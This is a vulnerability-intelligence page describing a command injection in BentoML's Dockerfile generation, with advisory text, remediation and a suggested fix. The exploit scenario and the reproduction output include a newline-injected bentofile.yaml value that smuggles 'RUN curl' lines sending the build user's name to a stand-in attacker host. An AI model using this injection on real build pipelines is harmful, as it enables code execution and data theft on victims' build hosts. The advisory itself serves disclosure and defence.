Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts malicious bento with newline-injected bentofile.yaml
-
DeliveryVictim imports bento via bentoml import
-
ExploitVictim runs bentoml containerize
-
InstallBentoML renders Dockerfile with unescaped template interpolation
-
C2Injected RUN directives embedded in generated Dockerfile
-
ExecuteDocker build executes arbitrary commands on build host
-
ImpactCode execution as build user with Docker daemon access
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to import a bento archive from an attacker-controlled or compromised source and execute bentoml containerize on that imported bento. The specific vulnerable code paths are the v2 SDK Docker generation flow using base_v2.j2 template, present in BentoML 1.x versions with _bentoml_impl/docker.py module. Attack does not require the malicious bento to be deployed or served - only imported and containerized - making this exploitable in CI/CD pipelines and local development environments before production deployment. The victim must have Docker daemon access for docker build execution. No special BentoML configuration is required; default settings with standard bento import/containerize workflow are sufficient. The description explicitly states this affects the modern v2 SDK code path used by bentoml containerize for current services, distinguishing it from legacy deployment methods. Limiting factor: requires user interaction (importing untrusted bento and triggering containerization), preventing fully automated remote exploitation. Organizations exclusively building bentos from reviewed internal source code and never importing external bentos are not exposed. |
| Impact | CVSS 8.8 (High) with vector AV:N/AC:L/PR:N/UI:R reflects network-deliverable attack requiring user interaction (victim must import and containerize the malicious bento). The UI:R (required user interaction) and supply-chain nature of the threat model moderates immediate urgency compared to service-side RCE. EPSS and KEV data not provided, but absence from CISA KEV and gated POC repository suggests exploitation is not yet widespread. However, several factors elevate real-world risk: (1) this is the third sibling in a vulnerability family where previous patches (CVE-2026-33744, CVE-2026-35043) incompletely addressed the root cause, indicating systemic input validation gaps; (2) the attack chain requires only bento import/containerization operations common in ML model deployment workflows; (3) execution occurs in build environments which often have privileged Docker daemon access and secrets in environment variables; (4) BentoML's role in ML model registries and marketplaces creates natural distribution vectors for malicious bentos. The GitHub advisory cross-references (GHSA-78f9-r8mh-4xm2 addressing |
| Exploit ScenarioDerived | An attacker publishes a malicious ML model bento to a public BentoML registry or shares it via corporate artifact repository, with bentofile.yaml containing envs[0].name set to 'FOO\nRUN curl http://attacker.example.com/$(whoami)\nARG BAR' with embedded newlines. A data scientist imports the bento via bentoml import malicious.bento and runs bentoml containerize my-service to build a deployment container. During Dockerfile generation, the Jinja2 template renders the injected value raw, producing three Dockerfile directives where one was intended. The docker build process executes the injected RUN curl command on the build host, exfiltrating the username to the attacker's server. The complexity is low (AC:L) as the attack requires only standard bento operations and the UI:R barrier is routine in ML deployment workflows. Proof-of-concept code confirmed end-to-end execution on BentoML 1.4.38 per reporter's HuggingFace repository (gated access). |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Command injection in BentoML 1.4.38 and earlier allows attackers to execute arbitrary code on build hosts when victims containerize malicious bentos. Exploitation occurs during the bentoml containerize workflow when unvalidated envs[*].name and docker.base_image fields from imported bentofile.yaml are interpolated into generated Dockerfiles without escaping, enabling newline-injection of RUN directives executed by docker build. This is a sibling vulnerability to CVE-2026-33744 and CVE-2026-35043 which patched the same injection class in system_packages fields but left these additional attack surfaces unaddressed. Patch version 1.4.39 available from vendor. No CISA KEV listing or public POC outside gated HuggingFace repository at time of analysis, but end-to-end reproduction confirmed by reporter on BentoML 1.4.38.
RemediationAI
Upgrade BentoML to version 1.4.39 or later via pip install --upgrade bentoml>=1.4.39 which patches both the envs[*].name and docker.base_image injection vectors. The fix applies bash_quote filtering to env.name fields and validates docker.base_image against a regex rejecting newline characters. If immediate upgrade is not feasible, implement compensating controls: (1) restrict bento imports to internal registries with code review and signature verification for all bentofile.yaml content; (2) execute bentoml containerize in isolated build containers with no network egress and read-only access to secrets, limiting blast radius of injected commands; (3) add pre-import validation scanning bentofile.yaml for newline characters in envs[*].name and docker.base_image fields, rejecting any multi-line values (trade-off: breaks legitimate multi-line base_image references if they exist, though Docker image references are single-line by specification); (4) monitor Docker build logs for unexpected RUN directives or external network connections during containerize operations. Advisory URLs: https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2 and https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44. Note the patch addresses the template layer; enhanced defense-in-depth would add schema-level validation in BentoEnvSchema rejecting non-identifier characters in env.name.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
BentoML is a Python framework for serving machine learning models in production. The vulnerability lies in BentoML's Dockerfile generation engine (v2 SDK path) which uses Jinja2 templates to render Dockerfiles from bentofile.yaml configuration. The template file base_v2.j2 interpolates user-controlled values from imported bento archives directly into Dockerfile directives without sanitization. While the bash_quote filter protects env.value fields, the env.name field and docker.base_image field bypass this protection entirely. This creates a template injection scenario where newline characters in attacker-controlled YAML values break out of the intended ARG/ENV/FROM directives and inject arbitrary Dockerfile RUN commands. The CPE pkg:pip/bentoml indicates this affects the Python package distribution. The CWE-78 classification (OS Command Injection) reflects the root cause: untrusted input flowing into a command interpretation context (Dockerfile executed by Docker daemon) without neutralization of special elements (newlines functioning as Dockerfile directive separators).
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
BentoML envs[*].name Dockerfile command injection - sibling of CVE-2026-33744 / CVE-2026-35043
A malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. Verified end-to-end on bentoml==1.4.38.
Vulnerable code
src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73:
{% for env in __bento_envs__ %}
{% set stage = env.stage | default("all") -%}
{% if stage != "runtime" -%}
ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name }}=${{ env.name }}
{% endif -%}
{% endfor %}env.value is bash-quoted via the bash_quote filter, but env.name is interpolated raw with no escaping or newline filtering. The template is rendered by _bentoml_impl/docker.generate_dockerfile (the v2 SDK Docker generation path used by bentoml containerize for modern services).
Sibling relationship to existing CVEs
The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:
- CVE-2026-33744 / GHSA-jfjg-vc52-wqvf (2026-03-25): added
bash_quotetosystem_packagesinterpolation in Dockerfile templates andimages.py. - CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw (2026-04-02): added
shlex.quotetosystem_packagesin the cloud deployment path (_internal/cloud/deployment.py:1648).
Both patches limit themselves to system_packages. The envs[*].name field is the same root-cause class (bentofile.yaml value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.
Reproduction
pip install bentoml==1.4.38
python verify_render.pyExpected:
[*] rendered Dockerfile size: 1789 bytes
[*] injected RUN lines: 3
RUN curl -fsSL http://attacker.example.com/$(whoami)=1
RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO
RUN curl -fsSL http://attacker.example.com/$(whoami)Each injected RUN line is a Dockerfile command that runs during docker build. With $(whoami) shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.
Threat model
- Attacker authors a malicious bento with a crafted
bentofile.yaml. - Attacker exports the bento (
.bentoor.tar.gz) and distributes (S3, HTTP, BentoCloud share, etc.). - Victim imports with
bentoml import bento.tar; no validation ofenvscontent. - Victim runs
bentoml containerizeto build the container image. - BentoML renders the Dockerfile with the attacker's
envsvalues, producing injectedRUNlines. docker build(or BuildKit) executes the injectedRUNcommands on the build host, achieving RCE in the victim's build environment.
The flow mirrors CVE-2026-33744 exactly, with envs substituted for system_packages.
Suggested fix
In base_v2.j2 lines 71-73, apply the bash_quote filter to env.name (and to the =$VAR reference in the ENV line, since the variable name itself is reused there):
ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }}Better, since env.name is semantically a Dockerfile identifier, validate at the schema level: in bentoml/_internal/bento/build_config.py:BentoEnvSchema, add an attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$") to the name field so newline / shell-metacharacter values are rejected at config load.
Affected versions
- bentoml 1.4.38 (verified end-to-end)
- Likely all 1.x versions where
_bentoml_impl/docker.pyexists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.
Disclosure
Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.
PoC artifacts
Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc
Executive ViewAI
BentoML versions 1.4.38 and earlier contain a command injection vulnerability in the containerization workflow that allows attackers to execute arbitrary code on build hosts when developers process malicious model configuration files. Organizations using BentoML to containerize machine learning models face immediate risk of compromised build infrastructure and supply chain contamination if they process untrusted bentofiles.
Until upgrade to version 1.4.39: (1) Restrict bentoml containerize operations to isolated, ephemeral build environments with no access to production systems or credentials; (2) implement network segmentation preventing build hosts from accessing sensitive internal resources; (3) require manual inspection and validation of all bentofile.yaml files before processing, specifically reviewing envs[*].name and docker.base_image fields for suspicious characters or newline sequences; (4) disable docker.io access from build infrastructure and use only pre-approved base images with hardcoded digests rather than image names.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-32609
GHSA-w2pm-x38x-jp44
NVD
CVE.org
EPSS
Exploit-DB